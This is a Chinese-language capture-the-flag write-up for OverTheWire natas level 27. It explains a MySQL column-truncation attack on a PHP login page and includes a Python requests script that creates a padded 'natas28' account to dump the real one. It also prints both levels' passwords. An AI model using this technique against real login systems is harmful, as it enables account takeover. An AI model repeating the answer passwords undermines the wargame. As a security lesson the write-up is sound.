Overthewire-natas27
Overthewire level 27 to level 28
function checkCredentials($link,$usr,$pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysql_query($query, $link);
if(mysql_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
$user=mysql_real_escape_string($usr);
$password=mysql_real_escape_string($pass);
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysql_query($query, $link);
if(mysql_affected_rows() > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas27', '<censored>');
mysql_select_db('natas27', $link);
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysql_close($link);
}
这是一个比较直接的利用username
, password
在后端数据库进行验证登录的过程。在输入完用户名和密码后,后台会去检查是否有当前的用户存在,如果没有则生成一个账号,否则输出该账号的信息。
后台在字符串拼接的时候对sql语句进行了过滤,因此基本排除sql注入的可能性。但是在SQL中还有一种攻击叫截断攻击(SQL Column Truncation),就是当输入了过长的字符串后,超过varchar范围的部分会被截断。在MYSQL的配置中,如果没有开启STRICT_ALL_TABLES选项,则字符串被截断后只会给个warning,而不是error。
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
在该题中,每个字段对应的长度是64个char。
另外,在mysql中,字符串尾包含空格时,可以查到不包含空格的结果。即如下两条表达式的结果是一致的
select * from users where username='a';
select * from users where username='a ';
基于以上两个信息,当我们往表里插入一个'name' + ' ' * 64
的账户后,后台如果执行类似于select * from users where username='name'
这样的语句,则不仅会把我们插入的账户给查出来,还会查出原本数据库username='name'
的账户。
注意这两个函数
function validUser($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysql_real_escape_string($usr);
$query = "SELECT * from users where username='$user'";
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
while ($row = mysql_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
validUser
并没有对去除$user
尾部的空格, 且dumpData
用了一个while循环来打印所有符合的账号,这里算是很明显的提示要插入一个和答案相同的账户了。攻击代码如下
import requests
auth = ('natas27', '55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ')
requests.post('http://natas27.natas.labs.overthewire.org',
auth=auth,
data={
'username': 'natas28' + ' ' * 1000 + '1',
'password': '123'})
resp = requests.post('http://natas27.natas.labs.overthewire.org',
auth=auth,
data={
'username': 'natas28',
'password': '123'})
print(resp.text)
第28关密码为JWwR438wkgTsNKBbcJoowyysdM82YjeF